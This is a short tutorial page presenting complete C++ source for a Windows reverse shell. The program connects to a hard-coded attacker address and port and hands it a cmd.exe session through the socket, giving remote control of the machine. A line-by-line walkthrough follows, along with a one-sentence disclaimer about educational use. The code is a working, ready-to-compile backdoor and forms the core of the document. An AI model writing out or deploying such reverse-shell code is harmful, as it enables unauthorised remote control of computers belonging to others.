Reverse Shell with C++

C++ Code

```cpp
#include <winsock2.h>
#include <stdio.h>

WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

int main(int argc, char* argv[]){
  // listener ip, port on attacker's machine
  char *ip = "192.168.1.119";
  short port = 1212;

  // init socket lib
  WSAStartup(MAKEWORD(2, 2), &wsaData);
  // create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

  // connect to remote host
  WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
  memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

  // start cmd.exe with redirected streams
  CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
  exit(0);
}
```

This code appears to be a simple Windows program that establishes a reverse shell connection to a specified IP address and port, and then executes the Windows Command Prompt (`cmd.exe`) with redirected input and output streams to the established socket connection. It essentially allows an attacker to gain remote control over the target machine.

Let's break down the code step by step:

1. **Header Includes**:
   - `<winsock2.h>`: Includes the Windows Sockets 2 API for networking.
   - `<stdio.h>`: Standard C I/O library for basic input and output.
2. **Global Variables**:
   - `WSADATA wsaData`: Structure used to store information about the Windows Sockets implementation.
   - `SOCKET wSock`: The socket used for communication.
   - `struct sockaddr_in hax`: Structure representing the address of the remote host.
   - `STARTUPINFO sui`: Information about the startup of a Windows-based process.
   - `PROCESS_INFORMATION pi`: Information about a newly created process and its primary thread.
3. **`main` Function**:
   - It sets the IP address (`ip`) and port number (`port`) of the attacker's machine.
   - Initializes the Windows Sockets library using `WSAStartup`.
   - Creates a socket (`wSock`) with the `AF_INET` address family, `SOCK_STREAM` socket type, and `IPPROTO_TCP` protocol.
   - Initializes the `hax` structure with the specified IP address and port.
   - Establishes a connection to the remote host using `WSAConnect`.
   - Initializes the `sui` structure for process creation and sets the standard input, output, and error handles to the established socket connection.
   - Starts a new process (`cmd.exe`) with redirected streams using `CreateProcess`. This effectively opens a command prompt that communicates through the socket connection.
4. **`exit(0)`**: Terminates the program. This line is executed once the `cmd.exe` process is started, and the program exits.

In summary, this code is a basic reverse shell implementation that connects to a remote host (the attacker's machine) on a specified IP address and port. It then launches a command prompt on the target machine, allowing the attacker to execute commands remotely. This type of code can be potentially harmful when used for malicious purposes and should only be used for educational and ethical purposes.